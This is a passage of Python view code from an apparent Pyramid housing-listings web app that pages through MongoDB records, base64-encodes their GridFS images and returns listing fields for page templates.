document9_images_UTF8_list = []\n\n for raw_image in document9_images_list_rawFile:\n document9_binaryImage = raw_image.read()\n document9_base64Image = codecs.encode(document9_binaryImage, 'base64')\n document9_UTF8Image = document9_base64Image.decode('utf-8')\n document9_images_UTF8_list.append(document9_UTF8Image)\n\n\n # Hence, for the images our utf-8 images becomes,\n # Test for our variables, improvise in the cases for non-existence of\n # files in that index handle exceptions.\n\n housing_collection_document9_imageA = document9_images_UTF8_list[0]\n\n try:\n housing_collection_document9_imageB = document9_images_UTF8_list[1]\n except:\n housing_collection_document9_imageB = document9_images_UTF8_list[0]\n\n try:\n housing_collection_document9_imageC = document9_images_UTF8_list[2]\n except:\n housing_collection_document9_imageC = document9_images_UTF8_list[0]\n\n try:\n housing_collection_document9_imageD = document9_images_UTF8_list[3]\n except:\n housing_collection_document9_imageD = document9_images_UTF8_list[0] \n \n try:\n housing_collection_document9_imageE = document9_images_UTF8_list[4]\n except:\n housing_collection_document9_imageE = document9_images_UTF8_list[0]\n\n\n # For document10\n #######################\n\n # For the text strings,\n housing_collection_document10_productID = document10[\"Product ID\"]\n housing_collection_document10_username = document10[\"Username\"]\n housing_collection_document10_state = document10[\"State\"]\n housing_collection_document10_city = document10[\"City\"]\n housing_collection_document10_description = document10[\"Description\"]\n housing_collection_document10_mobile = document10[\"Mobile\"]\n housing_collection_document10_email = document10[\"Email\"]\n housing_collection_document10_category = document10[\"Category\"]\n housing_collection_document10_condition = document10[\"Condition\"]\n\n\n\n # Images\n # Convert raw image into \"UTF-8\"(html) acceptable form\n import codecs\n document10_images_UTF8_list = []\n\n for raw_image in document10_images_list_rawFile:\n document10_binaryImage = raw_image.read()\n document10_base64Image = codecs.encode(document10_binaryImage, 'base64')\n document10_UTF8Image = document10_base64Image.decode('utf-8')\n document10_images_UTF8_list.append(document10_UTF8Image)\n\n\n # Hence, for the images our utf-8 images becomes,\n # Test for our variables, improvise in the cases for non-existence of\n # files in that index handle exceptions.\n\n housing_collection_document10_imageA = document10_images_UTF8_list[0]\n\n try:\n housing_collection_document10_imageB = document10_images_UTF8_list[1]\n except:\n housing_collection_document10_imageB = document10_images_UTF8_list[0]\n\n try:\n housing_collection_document10_imageC = document10_images_UTF8_list[2]\n except:\n housing_collection_document10_imageC = document10_images_UTF8_list[0]\n\n try:\n housing_collection_document10_imageD = document10_images_UTF8_list[3]\n except:\n housing_collection_document10_imageD = document10_images_UTF8_list[0] \n \n try:\n housing_collection_document10_imageE = document10_images_UTF8_list[4]\n except:\n housing_collection_document10_imageE = document10_images_UTF8_list[0]\n\n # Close our database connection and free up resources.\n client2.close()\n\n # Pack all return variables into a JSON Structure and use for return\n return{\n 'productID6' : housing_collection_document6_productID,\n 'username6' : housing_collection_document6_username,\n 'state6' : housing_collection_document6_state,\n 'city6' : housing_collection_document6_city,\n 'description6' : housing_collection_document6_description,\n 'mobile6' : housing_collection_document6_mobile,\n 'email6' : housing_collection_document6_email,\n 'category6' : housing_collection_document6_category,\n 'condition6': housing_collection_document6_condition,\n 'image6A' : housing_collection_document6_imageA,\n 'image6B' : housing_collection_document6_imageB,\n 'image6C' : housing_collection_document6_imageC,\n 'image6D': housing_collection_document6_imageD,\n 'image6E': housing_collection_document6_imageE,\n\n 'productID7' : housing_collection_document7_productID,\n 'username7' : housing_collection_document7_username,\n 'state7' : housing_collection_document7_state,\n 'city7' : housing_collection_document7_city,\n 'description7' : housing_collection_document7_description,\n 'mobile7' : housing_collection_document7_mobile,\n 'email7' : housing_collection_document7_email,\n 'category7' : housing_collection_document7_category,\n 'condition7': housing_collection_document7_condition,\n 'image7A' : housing_collection_document7_imageA,\n 'image7B' : housing_collection_document7_imageB,\n 'image7C' : housing_collection_document7_imageC,\n 'image7D': housing_collection_document7_imageD,\n 'image7E': housing_collection_document7_imageE,\n\n 'productID8' : housing_collection_document8_productID,\n 'username8' : housing_collection_document8_username,\n 'state8' : housing_collection_document8_state,\n 'city8' : housing_collection_document8_city,\n 'description8' : housing_collection_document8_description,\n 'mobile8' : housing_collection_document8_mobile,\n 'email8' : housing_collection_document8_email,\n 'category8' : housing_collection_document8_category,\n 'condition8': housing_collection_document8_condition,\n 'image8A' : housing_collection_document8_imageA,\n 'image8B' : housing_collection_document8_imageB,\n 'image8C' : housing_collection_document8_imageC,\n 'image8D': housing_collection_document8_imageD,\n 'image8E': housing_collection_document8_imageE,\n\n 'productID9' : housing_collection_document9_productID,\n 'username9' : housing_collection_document9_username,\n 'state9' : housing_collection_document9_state,\n 'city9' : housing_collection_document9_city,\n 'description9' : housing_collection_document9_description,\n 'mobile9' : housing_collection_document9_mobile,\n 'email9' : housing_collection_document9_email,\n 'category9' : housing_collection_document9_category,\n 'condition9': housing_collection_document9_condition,\n 'image9A' : housing_collection_document9_imageA,\n 'image9B' : housing_collection_document9_imageB,\n 'image9C' : housing_collection_document9_imageC,\n 'image9D': housing_collection_document9_imageD,\n 'image9E': housing_collection_document9_imageE,\n\n 'productID10' : housing_collection_document10_productID,\n 'username10' : housing_collection_document10_username,\n 'state10' : housing_collection_document10_state,\n 'city10' : housing_collection_document10_city,\n 'description10' : housing_collection_document10_description,\n 'mobile10' : housing_collection_document10_mobile,\n 'email10' : housing_collection_document10_email,\n 'category10' : housing_collection_document10_category,\n 'condition10': housing_collection_document10_condition,\n 'image10A' : housing_collection_document10_imageA,\n 'image10B' : housing_collection_document10_imageB,\n 'image10C' : housing_collection_document10_imageC,\n 'image10D': housing_collection_document10_imageD,\n 'image10E': housing_collection_document10_imageE, \n }\n\n\n\n\n\n # *************************************************************************************************************\n # *************************************************************************************************************\n @view_config(route_name='housing_viewProducts2_page3', renderer='templates/housing_templates/housing_viewProducts2_page3.pt')\n def housing_viewProducts2_page3(self):\n import pymongo\n from pymongo import MongoClient\n import gridfs\n from gridfs import GridFS\n # Extract connection string from enviroment variables\n import os\n from dotenv import load_dotenv\n load_dotenv()\n connection_string = os.environ['MY_CONNECTION_STRING']\n # Open database connection and get or create a database called spacenetng_database\n import dns\n client3 = MongoClient('%s' % connection_string)\n db = client3.spacenetng_database\n\n # Create or open a text based records collection called housing_text_collection\n text_collection_housing = db.housing_text_collection\n\n # Establish gridfs collection connection\n # Creating or getting an housing gridfs collection called 'housing_images_collection'\n # (Getting the GridFS object)\n image_collection_housing = GridFS(db, \"housing_images_collection\")\n\n # Retrieve document record from database operation\n housing_collection = text_collection_housing.find().sort([(\"_id\", pymongo.DESCENDING)]).skip(10).limit(5) #This returns 25 records\n\n # Push documents into a list\n housing_collection_list = []\n\n for record in housing_collection:\n housing_collection_list.append(record)\n\n\n\n document11 = housing_collection_list[0]\n document12 = housing_collection_list[1]\n document13 = housing_collection_list[2]\n document14 = housing_collection_list[3]\n document15 = housing_collection_list[4]\n\n # Extracting images\n # The images for document11\n document11_images_list_rawFile = []\n for image_name in document11[\"Images\"]:\n document11_images_list_rawFile.append(image_collection_housing.get_last_version(filename=image_name))\n\n # The images for document12\n document12_images_list_rawFile = []\n for image_name in document12[\"Images\"]:\n document12_images_list_rawFile.append(image_collection_housing.get_last_version(filename=image_name))\n\n # The images for document13\n document13_images_list_rawFile = []\n for image_name in document13[\"Images\"]:\n document13_images_list_rawFile.append(image_collection_housing.get_last_version(filename=image_name))\n\n # The images for document14\n document14_images_list_rawFile = []\n for image_name in document14[\"Images\"]:\n document14_images_list_rawFile.append(image_collection_housing.get_last_version(filename=image_name))\n\n # The images for document15\n document15_images_list_rawFile = []\n for image_name in document15[\"Images\"]:\n document15_images_list_rawFile.append(image_collection_housing.get_last_version(filename=image_name))\n\n\n\n ##############################################\n # Collecting record from individual documents\n ##############################################\n #######################//////////////////////////////////////////////////////////////////////////////////////////////\n #######################//////////////////////////////////////////////////////////////////////////////////////////////\n # For document11\n #######################\n\n # For the text strings,\n housing_collection_document11_productID = document11[\"Product ID\"]\n housing_collection_document11_username = document11[\"Username\"]\n housing_collection_document11_state = document11[\"State\"]\n housing_collection_document11_city = document11[\"City\"]\n housing_collection_document11_description = document11[\"Description\"]\n housing_collection_document11_mobile = document11[\"Mobile\"]\n housing_collection_document11_email = document11[\"Email\"]\n housing_collection_document11_category = document11[\"Category\"]\n housing_collection_document11_condition = document11[\"Condition\"]\n\n # Images\n # Convert raw image into \"UTF-8\"(html) acceptable form\n import codecs\n document11_images_UTF8_list = []\n\n for raw_image in document11_images_list_rawFile:\n document11_binaryImage = raw_image.read()\n document11_base64Image = codecs.encode(document11_binaryImage, 'base64')\n document11_UTF8Image = document11_base64Image.decode('utf-8')\n document11_images_UTF8_list.append(document11_UTF8Image)\n\n\n # Hence, for the images our utf-8 images becomes,\n # Test for our variables, improvise in the cases for non-existence of\n # files in that index handle exceptions.\n\n housing_collection_document11_imageA = document11_images_UTF8_list[0]\n\n try:\n housing_collection_document11_imageB = document11_images_UTF8_list[1]\n except:\n housing_collection_document11_imageB = document11_images_UTF8_list[0]\n\n try:\n housing_collection_document11_imageC = document11_images_UTF8_list[2]\n except:\n housing_collection_document11_imageC = document11_images_UTF8_list[0]\n\n try:\n housing_collection_document11_imageD = document11_images_UTF8_list[3]\n except:\n housing_collection_document11_imageD = document11_images_UTF8_list[0] \n \n try:\n housing_collection_document11_imageE = document11_images_UTF8_list[4]\n except:\n housing_collection_document11_imageE = document11_images_UTF8_list[0]\n\n\n\n\n\n #######################//////////////////////////////////////////////////////////////////////////////////////////////\n # For document12\n #######################\n\n # For the text strings,\n housing_collection_document12_productID = document12[\"Product ID\"]\n housing_collection_document12_username = document12[\"Username\"]\n housing_collection_document12_state = document12[\"State\"]\n housing_collection_document12_city = document12[\"City\"]\n housing_collection_document12_description = document12[\"Description\"]\n housing_collection_document12_mobile = document12[\"Mobile\"]\n housing_collection_document12_email = document12[\"Email\"]\n housing_collection_document12_category = document12[\"Category\"]\n housing_collection_document12_condition = document12[\"Condition\"]\n\n\n # Images\n # Convert raw image into \"UTF-8\"(html) acceptable form\n import codecs\n document12_images_UTF8_list = []\n\n for raw_image in document12_images_list_rawFile:\n document12_binaryImage = raw_image.read()\n document12_base64Image = codecs.encode(document12_binaryImage, 'base64')\n document12_UTF8Image = document12_base64Image.decode('utf-8')\n document12_images_UTF8_list.append(document12_UTF8Image)\n\n\n # Hence, for the images our utf-8 images becomes,\n # Test for our variables, improvise in the cases for non-existence of\n # files in that index handle exceptions.\n\n housing_collection_document12_imageA = document12_images_UTF8_list[0]\n\n try:\n housing_collection_document12_imageB = document12_images_UTF8_list[1]\n except:\n housing_collection_document12_imageB = document12_images_UTF8_list[0]\n\n try:\n housing_collection_document12_imageC = document12_images_UTF8_list[2]\n except:\n housing_collection_document12_imageC = document12_images_UTF8_list[0]\n\n try:\n housing_collection_document12_imageD = document12_images_UTF8_list[3]\n except:\n housing_collection_document12_imageD = document12_images_UTF8_list[0] \n \n try:\n housing_collection_document12_imageE = document12_images_UTF8_list[4]\n except:\n housing_collection_document12_imageE = document12_images_UTF8_list[0]\n\n\n\n\n\n #######################//////////////////////////////////////////////////////////////////////////////////////////////\n # For document13\n #######################\n\n # For the text strings,\n housing_collection_document13_productID = document13[\"Product ID\"]\n housing_collection_document13_username = document13[\"Username\"]\n housing_collection_document13_state = document13[\"State\"]\n housing_collection_document13_city = document13[\"City\"]\n housing_collection_document13_description = document13[\"Description\"]\n housing_collection_document13_mobile = document13[\"Mobile\"]\n housing_collection_document13_email = document13[\"Email\"]\n housing_collection_document13_category = document13[\"Category\"]\n housing_collection_document13_condition = document13[\"Condition\"]\n\n # Images\n # Convert raw image into \"UTF-8\"(html) acceptable form\n import codecs\n document13_images_UTF8_list = []\n\n for raw_image in document13_images_list_rawFile:\n document13_binaryImage = raw_image.read()\n document13_base64Image = codecs.encode(document13_binaryImage, 'base64')\n document13_UTF8Image = document13_base64Image.decode('utf-8')\n document13_images_UTF8_list.append(document13_UTF8Image)\n\n\n # Hence, for the images our utf-8 images becomes,\n # Test for our variables, improvise in the cases for non-existence of\n # files in that index handle exceptions.\n\n housing_collection_document13_imageA = document13_images_UTF8_list[0]\n\n try:\n housing_collection_document13_imageB = document13_images_UTF8_list[1]\n except:\n housing_collection_document13_imageB = document13_images_UTF8_list[0]\n\n try:\n housing_collection_document13_imageC = document13_images_UTF8_list[2]\n except:\n housing_collection_document13_imageC = document13_images_UTF8_list[0]\n\n try:\n housing_collection_document13_imageD = document13_images_UTF8_list[3]\n except:\n housing_collection_document13_imageD = document13_images_UTF8_list[0] \n \n try:\n housing_collection_document13_imageE = document13_images_UTF8_list[4]\n except:\n housing_collection_document13_imageE = document13_images_UTF8_list[0]\n\n\n\n\n #######################//////////////////////////////////////////////////////////////////////////////////////////////\n # For document14\n #######################\n\n # For the text strings,\n housing_collection_document14_productID = document14[\"Product ID\"]\n housing_collection_document14_username = document14[\"Username\"]\n housing_collection_document14_state = document14[\"State\"]\n housing_collection_document14_city = document14[\"City\"]\n housing_collection_document14_description = document14[\"Description\"]\n housing_collection_document14_mobile = document14[\"Mobile\"]\n housing_collection_document14_email = document14[\"Email\"]\n housing_collection_document14_category = document14[\"Category\"]\n housing_collection_document14_condition = document14[\"Condition\"]\n\n # Images\n # Convert raw image into \"UTF-8\"(html) acceptable form\n import codecs\n document14_images_UTF8_list = []\n\n for raw_image in document14_images_list_rawFile:\n document14_binaryImage = raw_image.read()\n document14_base64Image = codecs.encode(document14_binaryImage, 'base64')\n document14_UTF8Image = document14_base64Image.decode('utf-8')\n document14_images_UTF8_list.append(document14_UTF8Image)\n\n\n # Hence, for the images our utf-8 images becomes,\n # Test for our variables, improvise in the cases for non-existence of\n # files in that index handle exceptions.\n\n housing_collection_document14_imageA = document14_images_UTF8_list[0]\n\n try:\n housing_collection_document14_imageB = document14_images_UTF8_list[1]\n except:\n housing_collection_document14_imageB = document14_images_UTF8_list[0]\n\n try:\n housing_collection_document14_imageC = document14_images_UTF8_list[2]\n except:\n housing_collection_document14_imageC = document14_images_UTF8_list[0]\n\n try:\n housing_collection_document14_imageD = document14_images_UTF8_list[3]\n except:\n housing_collection_document14_imageD = document14_images_UTF8_list[0] \n \n try:\n housing_collection_document14_imageE = document14_images_UTF8_list[4]\n except:\n housing_collection_document14_imageE = document14_images_UTF8_list[0]\n\n\n\n\n\n\n #######################//////////////////////////////////////////////////////////////////////////////////////////////\n # For document15\n #######################\n\n # For the text strings,\n housing_collection_document15_productID = document15[\"Product ID\"]\n housing_collection_document15_username = document15[\"Username\"]\n housing_collection_document15_state = document15[\"State\"]\n housing_collection_document15_city = document15[\"City\"]\n housing_collection_document15_description = document15[\"Description\"]\n housing_collection_document15_mobile = document15[\"Mobile\"]\n housing_collection_document15_email = document15[\"Email\"]\n housing_collection_document15_category = document15[\"Category\"]\n housing_collection_document15_condition = document15[\"Condition\"]\n\n\n\n # Images\n # Convert raw image into \"UTF-8\"(html) acceptable form\n import codecs\n document15_images_UTF8_list = []\n\n for raw_image in document15_images_list_rawFile:\n document15_binaryImage = raw_image.read()\n document15_base64Image = codecs.encode(document15_binaryImage, 'base64')\n document15_UTF8Image = document15_base64Image.decode('utf-8')\n document15_images_UTF8_list.append(document15_UTF8Image)\n\n\n # Hence, for the images our utf-8 images becomes,\n # Test for our variables, improvise in the cases for non-existence of\n # files in that index handle exceptions.\n\n housing_collection_document15_imageA = document15_images_UTF8_list[0]\n\n try:\n housing_collection_document15_imageB = document15_images_UTF8_list[1]\n except:\n housing_collection_document15_imageB = document15_images_UTF8_list[0]\n\n try:\n housing_collection_document15_imageC = document15_images_UTF8_list[2]\n except:\n housing_collection_document15_imageC = document15_images_UTF8_list[0]\n\n try:\n housing_collection_document15_imageD = document15_images_UTF8_list[3]\n except:\n housing_collection_document15_imageD = document15_images_UTF8_list[0] \n \n try:\n housing_collection_document15_imageE = document15_images_UTF8_list[4]\n except:\n housing_collection_document15_imageE = document15_images_UTF8_list[0]\n\n # Close our database connection and free up resources.\n client3.close()\n\n # Pack all return variables into a JSON Structure and use for return\n return{\n 'productID11' : housing_collection_document11_productID,\n 'username11' : housing_collection_document11_username,\n 'state11' : housing_collection_document11_state,\n 'city11' : housing_collection_document11_city,\n 'description11' : housing_collection_document11_description,\n 'mobile11' : housing_collection_document11_mobile,\n 'email11' : housing_collection_document11_email,\n 'category11' : housing_collection_document11_category,\n 'condition11': housing_collection_document11_condition,\n 'image11A' : housing_collection_document11_imageA,\n 'image11B' : housing_collection_document11_imageB,\n 'image11C' : housing_collection_document11_imageC,\n 'image11D': housing_collection_document11_imageD,\n 'image11E': housing_collection_document11_imageE,\n\n 'productID12' : housing_collection_document12_productID,\n 'username12' : housing_collection_document12_username,\n 'state12' : housing_collection_document12_state,\n 'city12' : housing_collection_document12_city,\n 'description12' : housing_collection_document12_description,\n 'mobile12' : housing_collection_document12_mobile,\n 'email12' : housing_collection_document12_email,\n 'category12' : housing_collection_document12_category,\n 'condition12': housing_collection_document12_condition,\n 'image12A' : housing_collection_document12_imageA,\n 'image12B' : housing_collection_document12_imageB,\n 'image12C' : housing_collection_document12_imageC,\n 'image12D': housing_collection_document12_imageD,\n 'image12E': housing_collection_document12_imageE,\n\n 'productID13' : housing_collection_document13_productID,\n 'username13' : housing_collection_document13_username,\n 'state13' : housing_collection_document13_state,\n 'city13' : housing_collection_document13_city,\n 'description13' : housing_collection_document13_description,\n 'mobile13' : housing_collection_document13_mobile,\n 'email13' : housing_collection_document13_email,\n 'category13' : housing_collection_document13_category,\n 'condition13': housing_collection_document13_condition,\n 'image13A' : housing_collection_document13_imageA,\n 'image13B' : housing_collection_document13_imageB,\n 'image13C' : housing_collection_document13_imageC,\n 'image13D': housing_collection_document13_imageD,\n 'image13E': housing_collection_document13_imageE,\n\n 'productID14' : housing_collection_document14_productID,\n 'username14' : housing_collection_document14_username,\n 'state14' : housing_collection_document14_state,\n 'city14' : housing_collection_document14_city,\n 'description14' : housing_collection_document14_description,\n 'mobile14' : housing_collection_document14_mobile,\n 'email14' : housing_collection_document14_email,\n 'category14' : housing_collection_document14_category,\n 'condition14': housing_collection_document14_condition,\n 'image14A' : housing_collection_document14_imageA,\n 'image14B' : housing_collection_document14_imageB,\n 'image14C' : housing_collection_document14_imageC,\n 'image14D': housing_collection_document14_imageD,\n 'image14E': housing_collection_document14_imageE,\n\n 'productID15' : housing_collection_document15_productID,\n 'username15' : housing_collection_document15_username,\n 'state15' : housing_collection_document15_state,\n 'city15' : housing_collection_document15_city,\n 'description15' : housing_collection_document15_description,\n 'mobile15' : housing_collection_document15_mobile,\n 'email15' : housing_collection_document15_email,\n 'category15' : housing_collection_document15_category,\n 'condition15': housing_collection_document15_condition,\n 'image15A' : housing_collection_document15_imageA,\n 'image15B' : housing_collection_document15_imageB,\n 'image15C' : housing_collection_document15_imageC,\n 'image15D': housing_collection_document15_imageD,\n 'image15E': housing_collection_document15_imageE,\n }\n\n\n # *************************************************************************************************************\n # ************************************************************************************************************* \n @view_config(route_name='housing_viewProducts2_page4', renderer='templates/housing_templates/housing_viewProducts2_page4.pt')\n def housing_viewProducts2_page4(self):\n import pymongo\n from pymongo import MongoClient\n import gridfs\n from gridfs import GridFS\n # Extract connection string from enviroment variables\n import os\n from dotenv import load_dotenv\n load_dotenv()\n connection_string = os.environ['MY_CONNECTION_STRING']\n # Open database connection and get or create a database called spacenetng_database\n import dns\n client4 = MongoClient('%s' % connection_string)\n db = client4.spacenetng_database\n\n # Create or open a text based records collection called housing_text_collection\n text_collection_housing = db.housing_text_collection\n\n # Establish gridfs collection connection\n # Creating or getting an housing gridfs collection called 'housing_images_collection'\n # (Getting the GridFS object)\n image_collection_housing = GridFS(db, \"housing_images_collection\")\n\n # Retrieve document record from database operation\n housing_collection = text_collection_housing.find().sort([(\"_id\", pymongo.DESCENDING)]).skip(15).limit(5) #This returns 25 records\n\n # Push documents into a list\n housing_collection_list = []\n\n for record in housing_collection:\n housing_collection_list.append(record)\n\n document16 = housing_collection_list[0]\n document17 = housing_collection_list[1]\n document18 = housing_collection_list[2]\n document19 = housing_collection_list[3]\n document20 = housing_collection_list[4]\n\n\n # Extracting images\n # The images for document16\n document16_images_list_rawFile = []\n for image_name in document16[\"Images\"]:\n document16_images_list_rawFile.append(image_collection_housing.get_last_version(filename=image_name))\n\n # The images for document17\n document17_images_list_rawFile = []\n for image_name in document17[\"Images\"]:\n document17_images_list_rawFile.append(image_collection_housing.get_last_version(filename=image_name))\n\n # The images for document18\n document18_images_list_rawFile = []\n for image_name in document18[\"Images\"]:\n document18_images_list_rawFile.append(image_collection_housing.get_last_version(filename=image_name))\n\n # The images for document19\n document19_images_list_rawFile = []\n for image_name in document19[\"Images\"]:\n document19_images_list_rawFile.append(image_collection_housing.get_last_version(filename=image_name))\n\n # The images for document20\n document20_images_list_rawFile = []\n for image_name in document20[\"Images\"]:\n document20_images_list_rawFile.append(image_collection_housing.get_last_version(filename=image_name))\n\n\n ##############################################\n # Collecting record from individual documents\n ##############################################\n #######################//////////////////////////////////////////////////////////////////////////////////////////////\n #######################//////////////////////////////////////////////////////////////////////////////////////////////\n # For document16\n #######################\n\n # For the text strings,\n housing_collection_document16_productID = document16[\"Product ID\"]\n housing_collection_document16_username = document16[\"Username\"]\n housing_collection_document16_state = document16[\"State\"]\n housing_collection_document16_city = document16[\"City\"]\n housing_collection_document16_description = document16[\"Description\"]\n housing_collection_document16_mobile = document16[\"Mobile\"]\n housing_collection_document16_email = document16[\"Email\"]\n housing_collection_document16_category = document16[\"Category\"]\n housing_collection_document16_condition = document16[\"Condition\"]\n\n\n # Images\n # Convert raw image into \"UTF-8\"(html) acceptable form\n import codecs\n document16_images_UTF8_list = []\n\n for raw_image in document16_images_list_rawFile:\n document16_binaryImage = raw_image.read()\n document16_base64Image = codecs.encode(document16_binaryImage, 'base64')\n document16_UTF8Image = document16_base64Image.decode('utf-8')\n document16_images_UTF8_list.append(document16_UTF8Image)\n\n\n # Hence, for the images our utf-8 images becomes,\n # Test for our variables, improvise in the cases for non-existence of\n # files in that index handle exceptions.\n\n housing_collection_document16_imageA = document16_images_UTF8_list[0]\n\n try:\n housing_collection_document16_imageB = document16_images_UTF8_list[1]\n except:\n housing_collection_document16_imageB = document16_images_UTF8_list[0]\n\n try:\n housing_collection_document16_imageC = document16_images_UTF8_list[2]\n except:\n housing_collection_document16_imageC = document16_images_UTF8_list[0]\n\n try:\n housing_collection_document16_imageD = document16_images_UTF8_list[3]\n except:\n housing_collection_document16_imageD = document16_images_UTF8_list[0] \n \n try:\n housing_collection_document16_imageE = document16_images_UTF8_list[4]\n except:\n housing_collection_document16_imageE = document16_images_UTF8_list[0]\n\n\n\n\n #######################//////////////////////////////////////////////////////////////////////////////////////////////\n # For document17\n #######################\n\n # For the text strings,\n housing_collection_document17_productID = document17[\"Product ID\"]\n housing_collection_document17_username = document17[\"Username\"]\n housing_collection_document17_state = document17[\"State\"]\n housing_collection_document17_city = document17[\"City\"]\n housing_collection_document17_description = document17[\"Description\"]\n housing_collection_document17_mobile = document17[\"Mobile\"]\n housing_collection_document17_email = document17[\"Email\"]\n housing_collection_document17_category = document17[\"Category\"]\n housing_collection_document17_condition = document17[\"Condition\"]\n\n\n # Images\n # Convert raw image into \"UTF-8\"(html) acceptable form\n import codecs\n document17_images_UTF8_list = []\n\n for raw_image in document17_images_list_rawFile:\n document17_binaryImage = raw_image.read()\n document17_base64Image = codecs.encode(document17_binaryImage, 'base64')\n document17_UTF8Image = document17_base64Image.decode('utf-8')\n document17_images_UTF8_list.append(document17_UTF8Image)\n\n\n # Hence, for the images our utf-8 images becomes,\n # Test for our variables, improvise in the cases for non-existence of\n # files in that index handle exceptions.\n\n housing_collection_document17_imageA = document17_images_UTF8_list[0]\n\n try:\n housing_collection_document17_imageB = document17_images_UTF8_list[1]\n except:\n housing_collection_document17_imageB = document17_images_UTF8_list[0]\n\n try:\n housing_collection_document17_imageC = document17_images_UTF8_list[2]\n except:\n housing_collection_document17_imageC = document17_images_UTF8_list[0]\n\n try:\n housing_collection_document17_imageD = document17_images_UTF8_list[3]\n except:\n housing_collection_document17_imageD = document17_images_UTF8_list[0] \n \n try:\n housing_collection_document17_imageE = document17_images_UTF8_list[4]\n except:\n housing_collection_document17_imageE = document17_images_UTF8_list[0]\n\n\n\n\n\n #######################//////////////////////////////////////////////////////////////////////////////////////////////\n # For document18\n #######################\n\n # For the text strings,\n housing_collection_document18_productID = document18[\"Product ID\"]\n housing_collection_document18_username = document18[\"Username\"]\n housing_collection_document18_state = document18[\"State\"]\n housing_collection_document18_city = document18[\"City\"]\n housing_collection_document18_description = document18[\"Description\"]\n housing_collection_document18_mobile = document18[\"Mobile\"]\n housing_collection_document18_email = document18[\"Email\"]\n housing_collection_document18_category = document18[\"Category\"]\n housing_collection_document18_condition = document18[\"Condition\"]\n\n\n # Images\n # Convert raw image into \"UTF-8\"(html) acceptable form\n import codecs\n document18_images_UTF8_list = []\n\n for raw_image in document18_images_list_rawFile:\n document18_binaryImage = raw_image.read()\n document18_base64Image = codecs.encode(document18_binaryImage, 'base64')\n document18_UTF8Image = document18_base64Image.decode('utf-8')\n document18_images_UTF8_list.append(document18_UTF8Image)\n\n\n # Hence, for the images our utf-8 images becomes,\n # Test for our variables, improvise in the cases for non-existence of\n # files in that index handle exceptions.\n\n housing_collection_document18_imageA = document18_images_UTF8_list[0]\n\n try:\n housing_collection_document18_imageB = document18_images_UTF8_list[1]\n except:\n housing_collection_document18_imageB = document18_images_UTF8_list[0]\n\n try:\n housing_collection_document18_imageC = document18_images_UTF8_list[2]\n except:\n housing_collection_document18_imageC = document18_images_UTF8_list[0]\n\n try:\n housing_collection_document18_imageD = document18_images_UTF8_list[3]\n except:\n housing_collection_document18_imageD = document18_images_UTF8_list[0] \n \n try:\n housing_collection_document18_imageE = document18_images_UTF8_list[4]\n except:\n housing_collection_document18_imageE = document18_images_UTF8_list[0]\n\n\n\n\n\n #######################//////////////////////////////////////////////////////////////////////////////////////////////\n # For document19\n #######################\n\n # For the text strings,\n housing_collection_document19_productID = document19[\"Product ID\"]\n housing_collection_document19_username = document19[\"Username\"]\n housing_collection_document19_state = document19[\"State\"]\n housing_collection_document19_city = document19[\"City\"]\n housing_collection_document19_description = document19[\"Description\"]\n housing_collection_document19_mobile = document19[\"Mobile\"]\n housing_collection_document19_email = document19[\"Email\"]\n housing_collection_document19_category = document19[\"Category\"]\n housing_collection_document19_condition = document19[\"Condition\"]\n\n # Images\n # Convert raw image into \"UTF-8\"(html) acceptable form\n import codecs\n document19_images_UTF8_list = []\n\n for raw_image in document19_images_list_rawFile:\n document19_binaryImage = raw_image.read()\n document19_base64Image = codecs.encode(document19_binaryImage, 'base64')\n document19_UTF8Image = document19_base64Image.decode('utf-8')\n document19_images_UTF8_list.append(document19_UTF8Image)\n\n\n # Hence, for the images our utf-8 images becomes,\n # Test for our variables, improvise in the cases for non-existence of\n # files in that index handle exceptions.\n\n housing_collection_document19_imageA = document19_images_UTF8_list[0]\n\n try:\n housing_collection_document19_imageB = document19_images_UTF8_list[1]\n except:\n housing_collection_document19_imageB = document19_images_UTF8_list[0]\n\n try:\n housing_collection_document19_imageC = document19_images_UTF8_list[2]\n except:\n housing_collection_document19_imageC = document19_images_UTF8_list[0]\n\n try:\n housing_collection_document19_imageD = document19_images_UTF8_list[3]\n except:\n housing_collection_document19_imageD = document19_images_UTF8_list[0] \n \n try:\n housing_collection_document19_imageE = document19_images_UTF8_list[4]\n except:\n housing_collection_document19_imageE = document19_images_UTF8_list[0]\n\n\n\n\n #######################//////////////////////////////////////////////////////////////////////////////////////////////\n # For document20\n #######################\n\n # For the text strings,\n housing_collection_document20_productID = document20[\"Product ID\"]\n housing_collection_document20_username = document20[\"Username\"]\n housing_collection_document20_state = document20[\"State\"]\n housing_collection_document20_city = document20[\"City\"]\n housing_collection_document20_description = document20[\"Description\"]\n housing_collection_document20_mobile = document20[\"Mobile\"]\n housing_collection_document20_email = document20[\"Email\"]\n housing_collection_document20_category = document20[\"Category\"]\n housing_collection_document20_condition = document20[\"Condition\"]\n\n\n # Images\n # Convert raw image into \"UTF-8\"(html) acceptable form\n import codecs\n document20_images_UTF8_list = []\n\n for raw_image in document20_images_list_rawFile:\n document20_binaryImage = raw_image.read()\n document20_base64Image = codecs.encode(document20_binaryImage, 'base64')\n document20_UTF8Image = document20_base64Image.decode('utf-8')\n document20_images_UTF8_list.append(document20_UTF8Image)\n\n\n # Hence, for the images our utf-8 images becomes,\n # Test for our variables, improvise in the cases for non-existence of\n # files in that index handle exceptions.\n\n housing_collection_document20_imageA = document20_images_UTF8_list[0]\n\n try:\n housing_collection_document20_imageB = document20_images_UTF8_list[1]\n except:\n housing_collection_document20_imageB = document20_images_UTF8_list[0]\n\n try:\n housing_collection_document20_imageC = document20_images_UTF8_list[2]\n except:\n housing_collection_document20_imageC = document20_images_UTF8_list[0]\n\n try:\n housing_collection_document20_imageD = document20_images_UTF8_list[3]\n except:\n housing_collection_document20_imageD = document20_images_UTF8_list[0] \n \n try:\n housing_collection_document20_imageE = document20_images_UTF8_list[4]\n except:\n housing_collection_document20_imageE = document20_images_UTF8_list[0]\n\n\n # Close our database connection and free up resources.\n client4.close()\n\n # Pack all return variables into a JSON Structure and use for return\n return{\n 'productID16' : housing_collection_document16_productID,\n 'username16' : housing_collection_document16_username,\n 'state16' : housing_collection_document16_state,\n 'city16' : housing_collection_document16_city,\n 'description16' : housing_collection_document16_description,\n 'mobile16' : housing_collection_document16_mobile,\n 'email16' : housing_collection_document16_email,\n 'category16' : housing_collection_document16_category,\n 'condition16': housing_collection_document16_condition,\n 'image16A' : housing_collection_document16_imageA,\n 'image16B' : housing_collection_document16_imageB,\n 'image16C' : housing_collection_document16_imageC,\n 'image16D': housing_collection_document16_imageD,\n 'image16E': housing_collection_document16_imageE,\n\n 'productID17' : 